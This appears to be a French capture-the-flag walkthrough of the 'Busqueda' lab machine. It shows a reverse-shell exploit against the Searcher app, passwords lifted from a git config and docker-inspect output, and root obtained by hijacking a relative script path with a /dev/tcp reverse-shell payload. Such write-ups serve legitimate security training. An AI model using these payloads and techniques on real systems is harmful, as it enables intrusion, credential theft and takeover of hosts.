

Busqueda

dimanche 30 mars 2025 21:27

```
(alice@kali)-[~/Machines/OSCP_WORK/Linux/busqueda]
└─$ ./exploit.sh http://searcher.htb/ 10.10.16.14
---[Reverse Shell Exploit for Searcher <= 2.4.2 (2.4.0)]---
[*] Input target is http://searcher.htb/
[*] Input attacker is 10.10.16.14:9001
[*] Run the Reverse Shell... Press Ctrl+C after successful connection
```

```
(alice@kali)-[~/Machines/OSCP_WORK/Linux/busqueda]
└─$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.16.14] from (UNKNOWN) [10.129.33.76] 37264
bash: cannot set terminal process group (1499): Inappropriate ioctl
bash: no job control in this shell
svc@busqueda:/var/www/app$
svc@busqueda:/var/www/app$ cd home
cd home
```

Parfois vérifier dans les profils pour des fichiers de conf git :

```
svc@busqueda:~$ ls -la
ls -la
total 84
drwxr-x--- 6 svc svc 4096 Mar 30 13:57 .
drwxr-xr-x 3 root root 4096 Dec 22 2022 ..
lrwxrwxrwx 1 root root 9 Feb 20 2023 .bash_history -> /dev/null
-rw-r--r-- 1 svc svc 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 svc svc 3771 Jan 6 2022 .bashrc
drwx----- 2 svc svc 4096 Feb 28 2023 .cache
-rwxrwxrwx 1 svc svc 16880 Mar 30 13:56 exploit-1
-rwxrwxrwx 1 svc svc 17288 Mar 30 13:56 exploit-2
-rw-rw-r-- 1 svc svc 76 Apr 3 2023 .gitconfig
drwx----- 3 svc svc 4096 Mar 30 13:30 .gnupg
drwxrwxr-x 5 svc svc 4096 Jun 15 2022 .local
lrwxrwxrwx 1 root root 9 Apr 3 2023 .mysql_history -> /dev/null
-rw-r--r-- 1 svc svc 807 Jan 6 2022 .profile
lrwxrwxrwx 1 root root 9 Feb 20 2023 .searcher-history.json -> /dev/null
drwx----- 3 svc svc 4096 Mar 30 13:29 snap
-rw-r----- 1 root svc 33 Mar 30 11:20 user.txt
svc@busqueda:~$ cat .gitconfig
```

Puis si pas d'infos aller vérifier dans le fichier conf qui se trouve :

/var/www/app

```
svc@busqueda:/var/www/app$ ll
ll
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 ./
drwxr-xr-x 4 root root 4096 Apr 4 2023 ../
-rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Mar 30 11:19 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates/
svc@busqueda:/var/www/app$
```

```
svc@busqueda:/var/www/app/.git$ ls
ls
branches      config        HEAD  index  logs  refs
COMMIT_EDITMSG description hooks  info  objects
svc@busqueda:/var/www/app/.git$
```

```
svc@busqueda:/var/www/app/.git$ cat config
cat config
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
[remote "origin"]
    url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
    remote = origin
    merge = refs/heads/main
svc@busqueda:/var/www/app/.git$
```

On a trouvé le mdp ssh :

jh1usoih2bkjaspwe92

```

(alice@kali)-[~/Machines/OSCP_WORK/Linux/busqueda]
└─$ ssh svc@searcher.htb
The authenticity of host 'searcher.htb (10.129.33.76)' can't be established.
ED25519 key fingerprint is SHA256:LJb8mGF1qKYQw3uev+b/ScrluI4Fw7jxHJAoaLVPJLA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'searcher.htb' (ED25519) to the list of known hosts.
svc@searcher.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

```

```

svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:~$

```

```

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect [{"Config"}] gitea
{"960873171e2e" false false false map[22/tcp:{} 3000/tcp:{}] false false false [USER_UID=115 USER_GID=121 GITEA__database__DB_TYPE=mysql GITEA__database__HOST=db:3306 GITEA__database__NAME=gitea GITEA__database__USER=gitea GITEA__database__PASSWORD=yuiuihoiu4i5ho1uh PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin USER=git GITEA_CUSTOM=/data/gitea] [/bin/s6-svscan /etc/s6] <nil> false gitea/gitea:latest map[/data:{} /etc/localtime:{} /etc/timezone:{}] [/usr/bin/entrypoint] false [] map[com.docker.compose.config-hash:e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515 com.docker.compose.container-number:1 com.docker.compose.oneoff:False com.docker.compose.project:docker com.docker.compose.project.config-files:docker-compose.yml com.docker.compose.project.working_dir:/root/scripts/docker com.docker.compose.service:server com.docker.compose.version:1.29.2 maintainer:maintainers@gitea.io org.opencontainers.image.created:2022-11-24T13:22:00Z org.opencontainers.image.revision:9bcc60cf51f3b4070f5506b042a3d9a1442c73d org.opencontainers.image.source:https://github.com/go-gitea/gitea.git org.opencontainers.image.url:https://github.com/go-gitea/gitea] <nil> []}

```

Gitea on va y accéder :

```

(alice@kali)-[~/Machines/OSCP_WORK/Linux/busqueda]
└─$ ssh -L 3000:127.0.0.1:3000 svc@searcher.htb
svc@searcher.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Sun Mar 30 08:13:50 PM UTC 2025

```

Administrator: yuiuihoiu4i5ho1uh

Your ROOT_URL in app.ini is http://gitea.searcher.htb/ but you are visiting http://127.0.0.1:3000/. You should set ROOT_URL correctly, otherwise the web may not work correctly.

Repositories Users Organizations

Search...

administrator
Joined on Jan 4, 2023

cody
Joined on Jan 4, 2023

administrator / scripts Private

Code Issues Pull Requests Packages Projects Releases

No Description

Manage Topics

1 Commit 1 Branch

main Go to file Add File

administrator b9a29dc5cc Initial commit

check-ports.py	Initial commit
full-checkup.sh	Initial commit
install-flask.sh	Initial commit
system-checkup.py	Initial commit

On cherche des infos :

```

1  #!/bin/bash
2  import subprocess
3  import sys
4
5  actions = ['full-checkup', 'docker-ps', 'docker-inspect']
6
7  def run_command(arg_list):
8      r = subprocess.run(arg_list, capture_output=True)
9      if r.stderr:
10         output = r.stderr.decode()
11     else:
12         output = r.stdout.decode()
13
14     return output
15
16
17  def process_action(action):
18      if action == 'docker-inspect':
19          try:
20              _format = sys.argv[2]
21              if len(_format) == 0:
22                  print("Format can't be empty")
23                  exit(1)

```

Reading the script, in the process_action function, the full-checkup seems to run a script, but it does not specify the absolute path of the script. We can abuse this by creating a fake copy of this script and place our reverse shell payload in it.

```

elif action == 'full-checkup':
    try:
        arg_list = ['./full-checkup.sh']
        print(run_command(arg_list))
        print('[+] Done!')
    except:
        print('Something went wrong')
        exit(1)

```

if __name__ == '__main__':

```

1  #!/bin/bash
2
3  sh -i > /dev/tcp/10.10.16.14/9001 0>&1

```

Il faut aller dans /dev/shm :

```

svc@busqueda:/dev/shm$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
svc@busqueda:/dev/shm$ vi full-checkup.sh
svc@busqueda:/dev/shm$ cat full-checkup.sh
#!/bin/bash

sh -i > /dev/tcp/10.10.16.14/9001 0>&1
svc@busqueda:/dev/shm$ chmod +x full-checkup.sh
svc@busqueda:/dev/shm$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

```

```

--(alice@kali)-[~/Machines/OSCP_WORK/Linux/busqueda]
_-$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.16.14] from (UNKNOWN) [10.129.33.76] 60940
# whomai
sh: 1: whomai: not found
# whoami
root
# cd /root
# ls
ecosystem.config.js
root.txt
scripts
snap
# cat root.txt
9596c997df9d79a0bdf672b1536c14d
#

```